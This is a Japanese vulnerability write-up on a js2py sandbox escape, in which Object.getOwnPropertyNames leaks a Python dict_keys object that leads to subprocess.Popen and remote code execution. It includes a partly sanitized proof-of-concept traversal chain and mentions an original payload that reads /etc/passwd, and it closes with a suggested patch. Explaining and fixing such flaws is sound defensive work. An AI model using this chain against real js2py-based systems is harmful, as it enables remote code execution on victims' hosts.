
js2py は、Python インタプリタ内で JavaScript コードを評価できる人気の Python パッケージです。さまざまな Web スクレイパーが、Web サイト上の JavaScript コードを解析するために使用しています。
js2py 内部のグローバル変数の実装に脆弱性が存在し、攻撃者が js2py 環境内の Python オブジェクトへの参照を取得できるようになります。これにより、攻撃者は JS 環境から脱出して、ホスト上で任意のコマンドを実行できるようになります。
通常、ユーザーは js2py.disable_pyimport() を呼び出して、JavaScript コードが js2py 環境から脱出するのを防ぎます。しかし、この脆弱性を利用すると、攻撃者はこの制限を回避して、ターゲットホスト上で任意のコマンドを実行できます。
脅威アクターは、悪意のある JavaScript ファイルを含む Web サイトをホストしたり、HTTP API を介して悪意のあるスクリプトを送信して被害者に解析させたりすることができます。これにより、攻撃者はターゲット上で任意のシェルコマンドを実行することで、ホスト上でリモートコード実行 (RCE) を達成できます。
js2py はクローラーで一般的に使用される Python ライブラリで、ネイティブな Python 環境で JS コードを解析・実行するために使用されます。クローラーは通常、Web から取得した JS コードを解析するために js2py を使用し、ブラウザ環境をシミュレートします。
しかし、js2py にはクローラーにとって非常に危険な機能があります。それは、JS 内で Python パッケージをインポートして使用できる機能です。つまり、js2py は JS コードがさまざまな Python ライブラリを操作し、Python 環境と直接やり取りすることを可能にします。まさにこの理由から、Jinja SSTI に似た手法を使用して、js2py 環境内の Python オブジェクトから subprocess.Popen クラスを見つけ出し、RCE を達成できます。
さらに、js2py は Python2 時代のパッケージであり、広く使用されているにもかかわらず長期間メンテナンスされていないため、解析は比較的容易であるはずです。
ブレークポイントを設定すると、JS コードが実際に解析される場所が host/jseval.py の Eval 関数であることがわかります。そこにブレークポイントを設定すると、js2py によって変換された Python コードを確認できます。
たとえば、次の JS コードは:
let a = 114
console.log(a)
最終的に次の Python コードに解析されます:
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))
JS レイヤーの変数はすべて Python 変数 var に格納されることがわかります。JS レイヤーのすべての値は、PyJs クラスとしてきれいに格納されます (ここでの Js は実際には関数であり、詳細は後述します)。関数も callprop を通じて呼び出されます。通常の状況では、JS コードは Python オブジェクトに触れることはできません。
コードを調査していると、作者が最終的な Python コードを構築する際に文字列連結を多用していることに気づきました。そこで、JS コードを構築して不正な Python コードを生成させ、任意の Python コードを構築して実行できるのではないかという考えが浮かびました。しかし、この経路は後述の経路よりもはるかに困難であるため、これ以上は調査しませんでした。
Python オブジェクトを取得して RCE を実現するには、まず当然ながら、Python オブジェクトがどのように PyJs オブジェクトに変換されるかを確認する必要があります。
まず、base.py にある Js 関数の実装を確認します。Js 関数の役割は、渡された Python 値を対応する PyJs 値に変換し、JS コードがこれらの値を操作できるようにすることです。
def Js(val, Clamped=False):
'''Converts Py type to PyJs type'''
if isinstance(val, PyJs):
return val
elif val is None:
return undefined
elif isinstance(val, basestring):
return PyJsString(val, StringPrototype)
elif isinstance(val, bool):
return true if val else false
elif isinstance(val, float) or isinstance(val, int) or isinstance(
val, long) or (NUMPY_AVAILABLE and isinstance(
val,
(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
# This is supposed to speed things up. may not be the case
if val in NUM_BANK:
return NUM_BANK[val]
return PyJsNumber(float(val), NumberPrototype)
... # several lines omitted here
else: # try to convert to js object
return py_wrap(val)
bool、float、list などの Python の基本データ構造は専用の PyJs クラスに変換され、それ以外の型のデータは py_wrap によって処理され、最終的に PyObjectWrapper クラスになることがわかります。
通常の PyJs クラスは数値やブール値などの一般的なデータを表し、PyObjectWrapper は Python モジュールなどの特別なデータを表します。したがって、PyObjectWrapper 型のデータを取得できれば、Jinja SSTI と同様の属性アクセス手法を使用して RCE を達成できます。
一般的に、PyObjectWrapper 型のデータは、Python パッケージをインポートする機能が有効な場合にのみ取得できます。しかし、js2py は長期間メンテナンスされておらず、Python2 と Python3 の違いを十分に考慮していなかったため、最終的にサンドボックスエスケープの脆弱性が発生しました。
余談ですが、PyJs の実装を見ていると、作者が次のようなコードを書いているのを目にしました:
if six.PY3:
PyJs.__hash__ = PyJs._fuck_python3
PyJs.__truediv__ = PyJs.__div__
作者が Python3 を極端に嫌っていると言えるでしょう。
js2py は JS コードを Python コードに変換する機能を提供すると同時に、JS コードの正常な実行をサポートするために console や Object などの複数の組み込みオブジェクトも提供しています。
最終的な目標は、pyimport の制限をバイパスして PyObjectWrapper オブジェクトを取得することです。上記の分析から、PyObjectWrapper オブジェクトをゼロから取得するには、組み込みオブジェクトの実装から着手し、そこから PyObjectWrapper オブジェクトを抽出するしかないことがわかります。
組み込みオブジェクトの実装コードをスキャンしてみましょう。constructors/jsobject.py から、Object オブジェクト内のさまざまな関数の実装を確認できます。Object.keys のような一般的に使用される関数も含まれます。
次に、次の関数が見つかります:
def getOwnPropertyNames(obj):
if not obj.is_object():
raise MakeError(
'TypeError',
'Object.getOwnPropertyDescriptor called on non-object')
return obj.own.keys()
js2py は JS のオブジェクトを表すために dict を使用します。ここでの keys() は Python の辞書の keys() を呼び出します。Python を学んだことのある人なら誰でも知っているように、Python2 ではこの関数はリストを返しますが、Python3 では dict_keys ビューを返します。上記の Js 関数の実装によると、この dict_keys は PyObjectWrapper に変換されるため、RCE を達成できます。
まず、getOwnPropertyNames が PyObjectWrapper を取得できるかどうかを検証します:
import js2py
code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""
js2py.eval_js(code)
PyObjectWrapper(dict_keys([])) と出力されました。もちろん取得できます。
次に、このオブジェクトを基に __getattribute__ 関数を取得すれば、簡単に RCE を達成できます。PoC を作成したときは複雑に考えすぎていましたが、実際には __class__.__base__ を使用するだけで __getattribute__ 関数を取得できます。
次に、__getattribute__ 関数を基に object オブジェクトを取得し、再帰関数を書いて任意のモジュールの任意のクラスを見つけます。ここでは RCE のために subprocess.Popen を探します。
注記 (サニタイズ済み): 以下のコードスニペットは教育および研究目的で示されています。サニタイズ済みであり、悪用を助長しないように、機密性の高いシェルコマンドや直接的なシステム実行はプレースホルダーに置き換えられています。本番環境や未パッチのシステムに対して実行しないでください。
import js2py
code = """
let cmd = "DUMMY_CMD" # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""
# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.
影響を受けるコンポーネントのバージョン:
影響を受ける製品:
再現手順 (ラボのみ):
pip install js2py を実行して js2py をインストールし、隔離されたラボ環境で サニタイズ済み の PoC スクリプトを実行します。元の PoC は head -n 1 /etc/passwd や電卓などのコマンドを実行しようとしましたが、このリポジトリでは安全なプレースホルダーに置き換えられています。Object.getOwnPropertyNames({}) から PyObjectWrapper を取得でき、属性トラバーサルによって Python 内部に到達できることを確認できます。問題は getOwnPropertyNames 関数にあるため、返される dict_keys を通常のリストに変換すれば修正できます。提案されるパッチは、返す前に obj.own.keys() を list(...) でラップすることです。
このリポジトリは教育および防御的な研究目的のみで提供されています。明示的な許可なしに、ここにある情報やコードをシステムへの攻撃に使用しないでください。PoC スニペットは悪用を助長しないようにサニタイズされています。
研究および防御目的で編集・翻訳されました。